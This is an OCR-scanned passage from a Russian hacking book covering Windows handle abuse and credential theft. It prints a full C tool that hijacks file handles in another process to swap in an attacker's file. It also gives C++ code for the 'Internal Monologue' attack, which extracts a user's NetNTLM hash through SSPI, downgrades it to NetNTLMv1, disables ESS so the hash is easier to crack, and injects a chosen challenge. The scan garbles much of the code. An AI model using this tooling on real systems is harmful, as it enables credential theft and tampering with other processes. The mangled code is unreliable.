а затем сразу же создали новый. Индекс нового
I О.
Если рассматривать не пассивную эксплуатацию с перенаправлением вывода, то
можно перенаправить поток ввода. Например, подменить один файл настроек
другим.
Общий алгоритм работы следующий:
1.
Получаем новый хендл, создав новый файл через CreateFile (). Этим файлом и
будем подменять.
2.
Приостанавливаем целевой процесс через NtSuspendProcess ().
3.
Пробегаемся
по
всем
хендлам
в
целевом
процессе
с
помощью
NtQuerySysteminfoпnation().
4.
Игнорируем все хендлы, которые не являются хендлами на файлы (поскольку
мы подменяем файлы). Для проверки сравниваем значения ObjectTypeindex. Пом
ните, как мы делали в
5.
Находим
Handle Duplicating? Здесь то же
дескриптор
целевого
файла
в
самое.
удаленном
процессе,
используя
NtQueryinformationFile () со значением FileNameinformation (), чтобы получить путь
к файлу.
6.
Полученный хендл копируем и закрываем, используя DuplicateHandle () с флагом
DUPLICATE CLOSE SOURCE.
7.
Копируем хендл обратно в атакуемый процесс с помощью DuplicateHandle (), что
позволяет занять пустой индекс.
8.
Восстанавливаем работу программы с помощью NtResurneProcess ()
успешную подмену файла.
- реализация, взятая с прекрасного сайта x86matthew
(https://www .x86matthew.com/view_post?id=hijack_file_ handle).
Ниже
и получаем
Часть
194
11.
Системное программирование для хакеров
#include <stdio.h>
#include <windows.h>
#define SystemExtendedНandleinformation 64
#define STATUS- INFO- LENGTH- MISМATCH ОхС0000004
#define FileNameinformation 9
#define PROCESS - SUSPEND- RESUME
Ох800
struct SYSTEM- НANDLE- ТАВLЕ - ENTRY- INFO- ЕХ
ULONG Object;
ULONG UniqueProcessid;
ULONG HandleValue;
ULONG GrantedAccess;
USHORT CreatorBackTracelndex;
USHORT ObjectTypeindex;
ULONG HandleAttributes;
ULONG Reserved;
);
struct SYSTEM- НANDLE- INFORМATION - ЕХ
ULONG NumЬerOfHandles;
ULONG Reserved;
SYSTEM_НANDLE_TABLE_ENTRY
INFO_EX HandleList[l];
);
struct FILE
NАМЕ INFORМATION
ULONG FileNameLength;
FileName[l];
WCНAR
);
struct 10- STATUS - BLOCK
union
DWORD Status;
PVOID Pointer;
);
DWORD *Information;
);
struct GetFileHandlePathThreadParamStruct
НANDLE
hFile;
Глава
10.
Как злоупотреблять хендлами в
Windows
char szPath[512];
);
DWORD (WINAPI *NtQuerySysteminformation) (DWORD SysteminformationClass, PVOID
Systeminformation, ULONG SysteminformationLength, PULONG ReturnLength);
DWORD (WINAPI *NtQueryinformationFile) (НANDLE FileHandle, void *IoStatusBlock, PVOID
Fileinformation, ULONG Length, DWORD FileinformationClass);
DWORD (WINAPI *NtSuspendProcess) (НANDLE Process);
DWORD (WINAPI *NtResumeProcess) (НANDLE Process);
SYSTEM НANDLE_INFORМATION_EX *pGlobal_SystemНandleinfo = NULL;
DWORD dwGlobal_DebugObjectType = О;
DWORD
GetSystemНandleList()
{
DWORD dwAllocSize = О;
DWORD dwStatus = О;
DWORD dwLength = О;
ВУТЕ *pSystemНandleinfoBuffer =
NULL;
// free previous handle info list (if one exists)
!= NULL)
if(pGlobal_SystemНandleinfo
{
free(pGlobal_SystemНandleinfo);
// get system handle list
dwAllocSize = О;
for (;;)
if(pSystemНandlelnfoBuffer
!= NULL)
{
// free previous inadequately sized buffer
free(pSystemНandleinfoBuffer);
pSystemНandleinfoBuffer =
if(dwAllocSize !=
NULL;
О)
// allocate new buffer
pSystemНandleinfoBuffer =
if(pSystemНandleinfoBuffer
{
return 1;
(BYTE*)malloc(dwAllocSize);
== NULL)
195
Часть
196
11.
Системное программирование для хакеров
// get system handle list
dwStatus = NtQuerySysteminfonnation(SystemExtendedНandleinfonnation,
(void*)pSystemНandleinfoBuffer, dwAllocSize, &dwLength);
if(dwStatus = О)
// success
break;
else if(dwStatus =
STATUS_INFO_LENGТH_МISМATCН)
// not enough space - allocate
dwAllocSize
=
а
larger buffer and try again (also add an extra lkЬ to
allow for additional handles created Ьetween checks)
(dwLength + 1024);
else
/ / other error
free(pSystemНandleinfoBuffer);
return 1;
// store handle info ptr
pGlobal_SystemНandleinfo
return
=
(SYSTEМ_НANDLE_INFORМATION_EX*)pSystemНandleinfoBuffer;
О;
DWORD GetFileHandleObjectType(DWORD *pdwFileHandleObjectType)
{
hFile = NULL;
char szPath[512];
DWORD dwFound = О;
DWORD dwFileHandleObjectType
НANDLE
= О;
// get the file path of the current ехе
memset(szPath, О, sizeof(szPath));
if(GetModuleFileName(NULL, szPath, sizeof(szPath) - 1)
О)
return 1;
// open the current ехе
hFile = CreateFile(szPath, GENERIC_READ,
if(hFile == INVALID_НANDLE_VALUE)
return 1;
FILE_SНARE_READ,
NULL, OPEN_EXISTING,
О,
NULL);
Глава
10.
// take
Как злоупотреблять хендлами в
а
197
Windows
snapshot of the system handle list
if(GetSystemНandleList()
1
=
О)
{
return 1;
// close the temporary file handle
CloseHandle(hFile);
// find the temporary file handle in the previous snapshot
О; i < pGlobal SystemНandleinfo->NurnЬerOfHandles; i++)
for(DWORD i
// check if the process ID is correct
if(pGlobal_SystemНandleinfo->HandleList[i]
.UniqueProcessid == GetCurrentProcessid())
// check if the handle index is correct
if(pGlobal_SystemНandleinfo->HandleList[i]
.HandleValue
(DWORD)hFile)
// store the file handle object type index
dwFileHandleObjectType = pGlobal_SystemНandleinfo->HandleList[i] .ObjectTypeindex;
dwFound = 1;
break;
// ensure the file handle object type was found
if (dwFound == О)
return 1;
// store object type
*pdwFileHandleObjectType
return
dwFileHandleObjectType;
О;
DWORD WINAPI GetFileHandlePathThread(LPVOID lpArg)
bFileinfoBuffer[2048];
IO- STATUS- BLOCK IoStatuзBlock;
GetFileHandlePathThreadPararnStruct *pGetFileHandlePathThreadPararn
FILE NАМЕ INFORМATION *pFileNarneinfo = NULL;
ВУТЕ
=
NULL;
// get pararn
pGetFilel-landlePathThreadPararn = (GetFileHandlePathThreadPararnStruct*)lpArg;
Часть
198
11.
Системное программирование для хакеров
// get file path from handle
memset( (void*)&IoStatusBlock, О, sizeof(IoStatusBlock) );
memset(bFileinfoBuffer, О, sizeof(bFileinfoBuffer) );
if(NtQueryinformationFile(pGetFileHandlePathThreadParam->hFile, &IoStatusBlock,
bFileinfoBuffer, sizeof(bFilelnfoBuffer), FileNameinformation)
1
=
О)
return 1;
// get FILE_NAМE_INFORМATION ptr
pFileNameinfo = (FILE_NAМE_INFORМATION*)bFileinfoBuffer;
// validate filename length
if(pFileNameinfo->FileNameLength >= sizeof(pGetFileHandlePathThreadParam->szPath)
1
return 1;
// convert file path to ansi string
wcstomЬs(pGetFileHandlePathThreadParam->szPath,
pFileNameinfo->FileName,
sizeof(pGetFileHandlePathThreadParam->szPath) - 1);
return
О;
DWORD ReplaceFileHandle(НANDLE hTargetProcess,
hReplaceLocalHandle)
НANDLE
hExistingRemoteHandle,
НANDLE
{
НANDLE
hClonedFileHandle = NULL;
= NULL;
НANDLE hRemoteReplacedНandle
// close remote file handle
if(DuplicateHandle(hTargetProcess, hExistingRemoteHandle, GetCurrentProcess(),
&hClonedFileHandle, О, О, DUPLICATE_CLOSE_SOURCE DUPLICATE_SAМE_ACCESS) == О)
return 1;
// close cloned file handle
CloseHandle(hClonedFileHandle);
// duplicate local file handle into remote process
if(DuplicateHandle(GetCurrentProcess(), hReplaceLocalHandle, hTargetProcess,
&hRemoteReplpcedНandle, О, О, DUPLICATE SАМЕ ACCESS)
return 1;
О)
Глава
1О.
Как злоупотреблять хендлами в
Windows
199
// ensure that the new remote handle matches the original value
!= hExistingRemoteHandle)
if(hRemoteReplacedНandle
return 1;
return
О;
DWORD HijackFileHandle(DWORD dwTargetPID, char *pTargetFileName,
НANDLE
hReplaceLocalHandle)
(
hProcess = NULL;
hClonedFileHandle = NULL;
DWORD dwFileHandleObjectType = О;
DWORD dwThreadExitCode = О;
DWORD dwThreadID = О;
НANDLE hThread = NULL;
GetFileHandlePathThreadParamStruct GetFileHandlePathThreadParam;
char *pLastSlash = NULL;
DWORD dwHijackCount = О;
НANDLE
НANDLE
// calculate the object type index for file handles on this system
if(GetFileHandleObjectType(&dwFileHandleObjectType) != О)
(
return 1;
printf ("Opening process: %u ... \n", dwTargetPID);
// open target process
hProcess = OpenProcess(PROCESS_DUP
if(hProcess == NULL)
return 1;
// suspend target process
if(NtSuspendProcess(hProcess) !=
CloseHandle(hProcess);
return 1;
// get system handle list
if(GetSystemНandleList()
!=
О)
О)
НANDLE
PROCESS_SUSPEND_RESUМE,
О,
dwTargetPID);
Часть
200
11.
Системное программирование для хакеров
NtResumeProcess(hProcess);
CloseHandle(hProcess);
return 1;
for(DWORD i =
О;
i <
pGlobal_SystemНandlelnfo->NumЬerOfHandles;
// ensure this handle is
а
i++)
file handle object
.ObjectTypelndex != dwFileHandleObjectType)
if(pGlobal_SystemНandlelnfo->HandleList[i]
{
continue;
// ensure this handle is in the target process
.UniqueProcessid !=
if(pGlobal_SystemНandleinfo->HandleList[i]
dwТargetPID)
continue;
// clone file handle
if(DuplicateHandle(hProcess, (НANDLE)pGlobal_SystemНandleinfo->HandleList[i] .HandleValue,
GetCurrentProcess(), &hClonedFileHandle, О, О, DUPLICATE SАМЕ ACCESS) == О)
continue;
// get the file path of the current handle - do this in а new thread to prevent deadlocks
memset({void*)&GetFileHandlePathThreadParam, О, sizeof(GetFileHandlePathThreadParam));
GetFileHandlePathThreadParam.hFile = hClonedFileHandle;
hThread = CreateThread(NULL, О, GetFileHandlePathThread,
(void*)&GetFileHandlePathThreadParam, О, &dwThreadID);
if(hThread == NULL)
CloseHandle(hClonedFileHandle);
continue;
// wait for thread to finish (1 second time out)
if(WaitForSingleObject(hThread, 1000) != WAIT_OBJECT_0)
// time out - kill thread
TerminateThread(hThread, 1);
CloseHandle(hThread);
CloseHandle(hClonedFileHandle);
Глава
10.
Как злоупотреблять хендлами в
Windows
201
continue;
// close cloned file handle
CloseHandle(hClonedFileHandle);
// check exit code of temporary thread
GetExitCodeThread(hThread, &dwТhreadExitCode);
if(dwТhreadExitCode 1= О)
// failed
CloseHandle(hThread);
continue;
// close thread handle
CloseHandle(hThread);
// get last slash in path
pLastSlash = strrchr(GetFileHandlePathThreadParam.szPath, '\\');
if(pLastSlash == NULL)
{
continue;
// check if this is the target filename
pLastSlash++;
if(stricmp(pLastSlash, pTargetFileName) !=
О)
{
continue;
// found matching filename
printf("Found rernote file handle: \"%s\" (Handle ID: Ox%X)\n",
GetFileHandlePathThreadParam.szPath, pGlobal_SysternНandleinfo->HandleList[i] .HandleValue);
dwHijackCount++;
// replace the rernote file handle
if(ReplaceFileHandle(hProcess, (НANDLE)pGlobal_SysternНandleinfo->
HandleList[i] .HandleValue, hReplaceLocalHandle)
// handle replaced successfully
printf("Rernote file handle hijacked successfully\n\n");
else
// failed to hijack handle
О)
Часть
202
/1.
Системное программирование для хакеров
printf("Failed to hijack remote file handle\n\n");
// resume process
if (NtResumeProcess (hProcess) !=
О)
CloseHandle(hProcess);
return 1;
// clean up
CloseHandle(hProcess);
// ensure at least one matching file handle was found
if(dwHijackCount == О)
(
printf("No matching file handles found\n");
return 1;
return
О;
DWORD GetNtdllFunctions()
(
// get NtQueryinformationFile ptr
NtQueryinformationFile = (unsigned long (_stdcall *) (void *, void *, void *, unsigned
long,unsigned long) )GetProcAddress(GetModuleHandle("ntdll.dll"), "NtQueryinformationFile");
if(NtQueryinformationFile == NULL)
(
return 1;
// get NtQuerySysteminformation ptr
NtQuerySysteminformation = (unsigned long
stdcall *) (unsigned long,void *,unsigned
long,unsigned long *))GetProcAddress(GetModuleHandle("ntdll.dll"),
"NtQuerySysteminformation");
if(NtQuerySysteminformation == NULL)
(
return 1;
// get NtSuspendProcess ptr
NtSuspendProcess = (unsigned long (_stdcall *) (void *) )
GetProcAddress(GetModuleHandle("ntdll.dll"), "NtSuspendProcess");
Глава
1О.
Как злоупотреблять хендлами в
203
Windows
if(NtSuspendProcess == NULL)
return 1;
// get
NtResшneProcess
NtResшneProcess
ptr
= (unsigned long (_stdcall *) (void *))
GetProcAddress(GetModuleHandle("ntdll.dll"),
if(NtResшneProcess
"NtResшneProcess");
== NULL)
return 1;
return
О;
int main(int argc, char *argv[])
DWORD dwPID = О;
char *pTargetFileName = NULL;
char *pNewFilePath = NULL;
НANDLE hFile = NULL;
printf("HijackFileHandle - www.x86matthew.com\n\n");
if(argc != 4)
{
printf("%s <target_pid> <target_file_name> <new_file_path>\n\n", argv[0]);
return 1;
// get params
dwPID = atoi(argv[l]);
pTargetFileName = argv[2];
pNewFilePath = argv[З];
// get ntdll function ptrs
if(GetNtdllFunctions() != О)
{
return 1;
// create new output file
hFile = CreateFile(pNewFilePath, GENERIC_READ
I
GENERIC_WRITE, FILE_SНARE_READ
NULL, CREATE_ALWAYS,
FILE_SНARE_WRITE,
if(hFile ==
INVALID_НANDLE_VALUE)
{
printf("Failed to create file\n");
1
О,
NULL);
Часть
204
11.
Системное программирование для хакеров
return 1;
// hijack file handle in target process
if(HijackFileHandle(dwPID, pTargetFileName, hFile) !=
О)
printf("Error\n");
// error - delete output file
CloseHandle(hFile);
DeleteFile(pNewFilePath);
return 1;
// close local file handle
CloseHandle(hFile);
printf("Finished\n");
return
О;
В данном случае инструмент требует несколько аргументов командной строки.
HijackFileHandle.exe <target_pid> <target_file_name> <new_file_path>
Здесь указывается
PID
атакуемого процесса и имена файлов. Первым идет файл,
который нужно подменить, а вторым
-
на что подменять.
Заключение
Бывает круто взглянуть на привычные вещи под другим углом! Иногда получение
хендлов
необычным
MalSecLogon
образом
помогает
обходить
средства
защиты.
Тот
же
(https://github.com/antonioCoco/МalSeclogon) на момент выхода от
лично дампил процесс
lsass.exe.
ГЛАВА
11
Достаем учетные данные Windows,
не трогая
LSASS
Windows позволяет разраб<УrЧИкам создавать шифрованные каналы связи, подпи
сывать сообщения между клиекrом и службой, ауrентифицировать клиекrа на
службе. Злоупотребляя этими возможностями, мы можем извлекать уче'ПIЬlе дан
ные пользователя без взаимодействия с
LSASS.
В этой главе я продемонстрирую,
как это работает.
Security Support Provider Interface (SSPI) -
это механизм, предоставляющий огром
ный набор функций для разработчиков. Среди его преимуществ:
□ независимость от транспорта (данные передавать можно mобым образом);
□ общий для всех
SSP ипrерфейс;
□ ауrекrификация (в том числе с заимствованием прав);
□ конфиденциальность сообщений (шифрование);
□ сохранность сообщений (цифровая подпись).
это набор DLL-файлов, который позволяет ис
если вы не читали главу 7, пользовать протоколы безопасности (NТLMSSP, KerЬeros и иные) в клиекr-сер
верных процессах. Если сильно обобщить, то SSPI - это API для вызова загружен
SSP,
ных в систему
SSP (рис. 11.1 ).
SSPI
Рис.
11.1. SSPI
Часть
206
11.
Системное программирование для хакеров
Реквизиты, контекст и блобы
SSPI
создает так называемые
security ЫоЬs.
По-русски
-
«элементы безопасности»
или «компоненты безопасности», но официального перевода мне не попадалось,
так что остановимся на «блобах». Этими самыми блобами клиент и сервер обмени
ваются по удобному для них протоколу.
Чтобы подготовить начальные блобы, клиент получает хендл, указывающий на его
реквизиты. Под реквизитами понимается хендл на учетные данные клиента, с по
мощью которых он может, например, пройти аутентификацию на службе. Полу
чить
реквизиты
можно
с
помощью
AcquirecredentialsHandle (}
(https:/Лearn.
microsoft.com/en-us/windows/win32/secauthn/acquirecredentialshandle--general).
Путем обмена блобами выстраивается контекст. Контекст
который хранится и на клиенте, и на сервере. Контекст
специальный объект,
-
аутентификации клиента на сервере и в некоторых случаях
результат успешной
-
сервера на клиенте.
С помощью выстроенного контекста можно использовать весь потенциал
SSPI.
На
пример, можно построить контекст, получить хендл, а затем шифровать передавае
мые между клиентом и сервером сообщения. Причем сервер сможет расшифровать
сообщения, т. к. у него есть контекст, сгенерированный вместе с клиентом, на ко
тором данные шифруются.
Итак,
для
построения
контекста
используются
специальные
функции
(https://learn.microsoft.com/en-us/windows/win32/api/sspi/nfsspi-acceptsecuritycontext) и Ini tial'izesecuri tycontext (} (https://learn.microsoft.com/
en-us/windows/win32/api/sspi/nf-sspi-initializesecuritycontexta). Контекст выстраи
AcceptSecuri tycontext (}
вается не сразу. Если требуется еще пару раз обменяться блобами с сервером или
клиентом, то возвращается ошибка SEC_ r_CONTINUE_ NEEDED.
Думаю, звучит страшно. Давайте визуализируем. Построение контекста на стороне
клиента показано на рис.
Клиент
сначала
11.2.
получает
хендл
на
свои
реквизиты
с
помощью
функции
AcquireCredentialsHandle (}, затем начинает выстраивать контекст, используя блобы.
Как только функция Ini tiali zeSecuri t yContext (} перестала возвращать SEC_ I _CONTINUE_
NEEDED, можно считать, что контекст выстроен, и пользоваться всеми функциями
SSPI.
На
стороне
сервера
происходит
почти
то
же
самое,
только
Ini tializeSecuri tyContext ( 1 используется функция AcceptSecuri tyContext ( 1 (рис.
вместо
11.3 ).
Сервер тоже получает хендл на свои реквизиты и точно так же взаимодействует
с блобами. После построения контекста в некоторых случаях дополнительно вызы
вается
функция
ImpersonateSecurityContext ( 1
(https://learn.microsoft.com/en-us/
windows/win32/api/sspi/nf-sspi-impersonatesecuritycontext), которая позволяет за
имствовать права клиента.
Глава
11. Достаем учетные данные Windows, не трогая LSASS
207
Start
l
AcqulreCredentialsHandleQ
l
lnltlallzeSecurltyContextQ
Пмучемме 6nо6аот сернра
Поnучили бnоб?
1Нет
Да
SEC_I_CONTINUE_NEl:OED?
1Нет
Получение блоба
от сервера
l
Возможности
Рис.
11.2. SSPI
SSPI
на клиенте
Известные атаки
Теперь, бегло ознакомившись с
SSPI,
можно переходить к эксплуатации. Есть
четыре основных вида атак:
□
□
lnternal Monologue NTLMSSP. Извлекаем
TGT Delegation -
выстраиваем
контекст
с
помощью
SSPI,
используя
NetNTLM-xeш пользователя;
выстраиваем контекст с помощью
SSPI,
используя
Kerberos.
Причем контекст выстраиваем на машину с неограниченным делегированием,
что позволяет из АР-RЕQ-пакета достать ТGТ-билет пользователя;
208
Часть
11.
Системное программирование для хакеров
Start
l
AcquireCredentialsНandle()
AcceptSecurityC
Да
Функция
вернуnа бnоб?
1Нет
Да
SEC_I_CONТINULNEEDED?
1Нет
.1
~SSPI
Рис.
11.3. SSPI
на сервере
□ обход
UAC с помощью SSPI Datagram Contexts. На GitHub есть
https://github.com/antonioCoco/SspiUacBypass;
□
LPE
РоС:
через подмену одного контекста другим. Подробнее
github.com/Мuhammad-Ali007 /Loca1Potato
м ость получила номер
CVE-2023-21746.
Я познакомлю вас с первым вариантом. Про
в статье «Эксплуатируем
06/14/tgt-delegation/.
- на GitHub: https://
CVE-2023-21746/tree/main. Уязви
TGT Delegation
в
TGT Delegation можно прочитать
Active Directory»: https://xakep.ru/2023/
Глава
11. Достаем учетные
данные
Windows,
не трогая
209
LSASS
Внутренний монолог
Эту атаку придумал исследователь Элад Шамир
(bttps://eladshamir.com).
Принцип
ее заключается в том, чтобы зарегистрировать свое приложение и как клиент, и как
сервер. Затем пройти ауrентификацию, используя
NTLMSSP.
После успешной
ауrентификации серверная часть нашей программы получит NetNTLM-xeш пользо
вателя. Клие1ПСкая часть программы сгенерирует этот хеш по заданному сервером
чеJШенджу.
Можем начинать писать эксшюйт! Чтобы бьшо удобнее, я выложил полный код
проекта на
можешь
GitHub:
глянуть
https://github.com/МzНmO/NtlmThief. А РоС Элада Шамира
в
его
репозитории:
bttps://github.com/eladsbamir/lnternal-
Monologue.
Начнем с режимов. В инструменте я предусмотрел два флага
-
-downgrade и -pid.
Работать тулза будет, только если запускать ее от лица более или менее привилеги
рованного пользователя. Первый флаг позволяет понизить уровень ауrентификации
до уровня
NetNTLMv 1.
Эта версия чуть более просто брутится. Второй флаг дает
возможность получить NetNTLM-xeш владельца определенного процесса. Напри
мер, если в системе есть процесс
and.exe,
запущенный от лица
user,
то получится
достать NetNТLM-xeш этого пользователя.
Если достаточных привилегий нет, то просто получим NetNТLM-xeш текущего
пользователя. Если на системе разрешен NetNТLMv 1, то итоговый хеш будет пер
вой версии; если не разрешен, то второй.
Начнем с получения реквизитов. Как я уже говорил, для этого используется функ
(https://learn.microsoft.com/en-us/windows/win32/
AcquireCredentialsHandle ()
ция
secauthn/acquirecredentialsbandle--general).
Вызываем ее следующим образом.
SECURITY_STATUS status = AcquireCredentialsHandleW(
(LPWSTR)response.UserName.c_str(),
(LPWSTR)L"NТLМ",
SECPKG_CRED_вarн,
NULL,
NULL,
NULL,
NULL,
&_hCred,
&ClientLifeTirne
);
Первым аргументом указываем имя пользователя, чьи реквизиты хотим получить.
Имя пользователя я ранее занес в специальный класс
class InternalMonologueResponse
puЫic:
std: :wstring Challenge = L"";
std: :wstring Respl = L"";
InternalMonologueResponse.
Часть
210
std: :wstring
std: :wstring
std: :wstring
std: :wstring
void Print ()
std: :wcout
11.
Системное программирование для хакеров
Resp2 = L"";
Domain = L"";
UserName = L"";
UsernameWithoutDomain = L"";
« UsernameWithoutDomain « L"::" << Domain « L":" « Respl « L":" «
Resp2 « L":" « Challenge « std: :endl;
};
Так как в нашей программе предусмотрено получение
NetNTLM
чужих пользова
телей, нужно будет получить имя пользователя через токен текущего потока.
LPWSTR GetCurrentUsername() (
НANDLE hToken;
if (!OpenThreadToken(GetCurrentThread(), TOКEN_READ,FALSE, &hToken))
if (!OpenProcessToken(GetCurrentProcess(), TOKEN_READ, &hToken))
return (LPWSTR) L'"';
DWORD bufferSize =
О;
if ( !GetTokeninformation (hToken, TokenUser, NULL,
О,
&buf ferSize) && GetLastError ( 1 !=
ERROR_INSUFFICIENT_BUFFER)
CloseHandle(hToken);
return (LPWSTR)L"";
PTOКEN_USER
pTokenUser =
(PTOКEN_USER)malloc(bufferSize);
if ( !pTokenUser) (
CloseHandle(hToken);
return (LPWSTR)L"";
if (!GetTokeninformation(hToken, TokenUser, pTokenUser, bufferSize, &bufferSize)) {
free(pTokenUser);
CloseHandle(hToken);
return {LPWSTR)L"";
WCНAR accountName[МAX_PATH];
WCНAR domainName[МAX_PATH];
DWORD accountNameSize = МАХ РАТН;
DWORD domainNameSize = МАХ РАТН;
SID NАМЕ USE snu;
if (!LookupAccountSidW(NULL, pTokenUser->User.Sid, accountName, &accountNameSize,
domainName, &domainNameSize, &snu)) (
free(pTokenUser);
Глава
11. Достаем учетные
данные
Windows,
не трогая
LSASS
211
CloseHandle(hToken);
return (LPWSTR) L'"';
std: :wstring username ; std: :wstring(domainName) + L"\ \" + std: :wstring(accountName);
free(pTokenUser);
CloseHandle(hToken);
LPWSTR lpwstr; new WCНAR[username.length() + 1);
wcscpy_s(lpwstr, username.length() + 1, username.c_str() );
return lpwstr;
После получения реквизитов
( они
упали в
_hCred)
можно начинать обмен блобами.
Пока еще в клиентской части нашего приложения вызываем Ini tializeSecuri tycontext (1.
status; InitializeSecurityContextW(
&_hCred,
NULL,
(LPWSTR)response.UserName.c_str(),
ISC_REQ_CONNECTION,
о,
SECURITY_NATIVE_DREP,
NULL,
О,
&_hClientContext,
&ClientToken,
&ContextAttributes,
&ClientLifeTime
);
В эту функцию передается хендл на реквизиты и все то же имя пользователя. Фак
тически мы говорим, что хотим построить контекст на самих себя. Следующие зна
чения стандартны для этой функции, нет смысла их пояснять, они описаны в доку
ментации
(https:/Лearn.microsoft.com/en-us/windows/win32/secauthn/initialize
securitycontext--ntlm ).
После инициализации первичного блоба (начала построения контекста) регистри
руем серверную часть нашего приложения. Из функции InitializeSecuritycontext 11
нам вернулись необходимые для построения контекста параметры, поэтому переда
ем их в AcceptSecurityContext (1. Делаем вид, что мы как будто передали эти блобы на
сервер, а сервер их получил и начал обрабатывать.
status; AcceptSecurityContext(
&_hCred,
NULL,
&ClientToken,
ISC_REQ_CONNECTION I ISC_REQ_ALLOCATE_MEMORY,
SECURITY_NATIVE_DREP,
&_hServerContext,
Часть
212
11.
Системное программирование для хакеров
&ServerToken,
&ContextAttributes,
&ClientLifeTime
);
Убедившись, что функция завершена успешно, можем считать, что начало есть.
Фактически произошло следующее:
□ клиент обратился к серверу с целью построения контекста;
□ сервер принял запрос и готов обрабатывать все блобы для построения контекста.
Остается лишь эмулировать отправку челленджа клиенту. В модели
челлендж
-
NTLMSSP
это цифровое значение, которое пользователь должен изменить, ис
пользуя свой NTLM-xeш.
Для этого мы сначала должны преобразовать блоб в поток байтов. Он представлен
в моей программе как std: :vector<BYТE>, а преобразование из структуры SecBufferDesc
(https://learn.microsoft.com/ru-ru/windows/win32/api/sspi/ns-sspi-secbufferdesc)
выполняется с помощью функции GetSecByteBufferArray (). Структура SecBufferDesc
описывает передаваемые блобы.
std::vector
<ВУТЕ> serverМessage;
serverМessage
= GetSecBufferByteArray(&ServerToken);
GetSecBufferByteArray(const SecBufferDesc* pSecBufferDesc)
if ( !pSecBufferDesc) {
throw std:: invalid_argument ("SecBufferDesc pointer cannot Ье null");
std::vector<BYТE>
std::vector<BYТE>
buffer;
= 1) {
SecBuffer* pSecBuffer = pSecBufferDesc->pBuffers;
if (pSecBuffer->cbBuffer > О && pSecBuffer->pvBuffer)
buffer.resize(pSecBuffer->cbBuffer);
rnerncpy(&buffer[O], pSecBuffer->pvBuffer, pSecBuffer->cbBuffer);
i; (pSecBufferDesc->cBuffers
else
size t bytesToAllocate =
О;
for (unsigned int i = О; i < pSecBufferDesc->cBuffers; ++i)
bytesToAllocate += pSecBufferDesc->pBuffers[i] .cbBuffer;
buffer.resize(bytesToAllocate);
ВУТЕ* pBufferlndex = &buffer[O];
for (unsigned int i = О; i < pSecBufferDesc->cBuffers; ++i)
SecBuffer* pSecBuffer = &(pSecBufferDesc->pBuffers[i]);
Глава
11.
Достаем учетные данные
Windows,
не трогая
LSASS
213
if (pSecBuffer->cbBuffer > О && pSecBuffer->pvBuffer) {
memcpy(pBufferindex, pSecBuffer->pvBuffer, pSecBuffer->cbBuffer);
pBufferindex += pSecBuffer->cbBuffer;
return buffer;
Теперь нужно поработать с челленджем. То есть со значением, которое сервер от
правляет клиеmу. Челлендж также следует перевести в поток байтов.
std: :vector<uintB_t> challengeBytes = StringToByteArray(challenge);
std: :vector<uintB_t> StringToByteArray(LPCWSTR hex)
std: :wstring hexStr(hex);
size_t length = hexStr.length();
if (length % 2 == 1) {
return std::vector<uint8 t>();
std::vector<uintB_t> arr(length >> 1);
for (size_t i = О; i < length >> 1; ++i)
uint8 t msb = (hexStr[i << 1] >= '0' && hexStr[i << l] <= '9') ? hexStr[i << 1] - '0'
std::toupper(hexStr[i << 1]) - 'А' + 10;
uintB_t lsb = (hexStr[ (i << 1) + 1] >= '0' && hexStr[ (i << 1) + 1] <= '9') ?
hexStr[(i << 1) + 1] - 'О' : std::toupper(hexStr[(i << 1) + 1]) - 'А' + 10;
arr[i]
(msb << 4) + lsb;
return arr;
Функция выглядит, конечно, страшно, но умные люди подсказали и более аккурат
ный
вариант:
https://github.comNuryStrozhevsky/XSEC/ЫoЬ/e6e9bbeab88ab160
631835f363797b1f37794f9f/liЬ/common.h#L122.
Затем следует не забывать про
мов безопасности для
ESS. Extended Session Security - один из механиз
NetNTLMv 1, направленный на усложнение брутфорса этих
хешей. В частности, он позволял предотвратить Rainbow-aтaкy на этот тип хешей,
т. к. клиент добавлял и свой челлендж перед тем, как сформировать ответ на сер
вер. Это изменяет хеш, и пропадает возможность поиска этого хеша в заранее сге
нерированной таблице «хеш
За включение
отключаем
ESS
ESS.
-
пароль».
отвечает всего один бит, поэтому просто меняем его значение и
Часть
214
if (DisaЬleEss)
serverMessage[22]
В
SSPI
(ВУТЕ)
11.
Системное программирование для хакеров
(serverMessage[22] & OxF7);
очень много абстракций. Разработчику достаточно вызывать нужные функ
ции, чтобы получить желаемый результат, а разбираться в глубоких особенностях
протокола не требуется. В случае
NTLMSSP Windows
уже автоматически сгенери
ровала челлендж, который сервер должен отослать клиенту. Хотя будет правильнее
сказать даже не челлендж, а пакет, который содержит всю необходимую информа
цию, чтобы клиентская сторона, используя свой NTLM-xeш, предоставила ответ,
Но мы-то хотим использовать собственный челлендж, а не сгенерированный кем
то! Поэтому челлендж нужно заменить. К счастью, никаких подписей, которые
·могли бы нам помешать, здесь нет. Поэтому просто по рассчитанным офсетам ко
пируем наш челлендж.
ReplaceChallenge(serverMessage, challengeBytes);
void ReplaceChallenge(std: :vector<uint8_t>& serverMessage, const std: :vector<uint8 t>&
challengeBytes)
std: :copy(challengeBytes.begin(), challengeBytes.begin() + 8, serverMessage.begin() + 24);
std::fill(serverMessage.begin() + 32, serverMessage.begin() + 48, О);
Дело
за
малым.
Делаем
Ini tializeSecuri tyContext 1),
вид,
что
клиент
получил
этот
пакет,
вызываем
и клиент генерирует ответ на челлендж.
status = InitializeSecurityContextW(
&_hCred,
&_hClientContext,
(LPWSTR)response.OserNarne.c_str(),
ISC_REQ_CONNECTION,
О,
SECORITY_NATIVE_DREP,
&ServerToken,
О,
&_hClientContext,
&ClientToken,
&ContextAttributes,
&ClientLifeTime
);
if (status 1= SEC_E_OK && DisaЬleEss)
vfree(ClientSecBuffer2.pvBuffer);
vfree(ServerSecBuffer2.pvBuffer);
return InternalMonologueForCurrentOser(challenge, false);
std: :vector<BYTE> result = GetSecBufferByteArray(&ClientToken);
vfree(ClientSecBuffer2.pvBuffer); // Макрос для освобождения nамяти.
Нам эти буферы больше
не
нужны
Глава
11. Достаем учетные
данные
Windows,
не трогая
LSASS
215
vfree(ServerSecBuffer2.pvBuffer);
ParseNTResponse(result, challenge, response);
Обратите внимание, что функция может завершиться неуспешно. В таком случае
следует попробовать сгенерировать ответ, не отключая
ESS.
Итак, остается лишь грамотно распарсить ответ. Для этого я написал отдельную
функцию,
void ParseNTResponse(const std::vector<BYTE>& message, LPCWSTR challenge,
InternalMonologueResponse& result) (
uintlб_t lm_resp_len = *reinterpret_cast<const uintlб_t*>(&message[12] );
uint32 t lm_resp_off = *reinterpret_cast<const uint32_t*>(&message[16] );
uintlб t nt_resp_len = *reinterpret_cast<const uintlб_t*>(&message[20]);
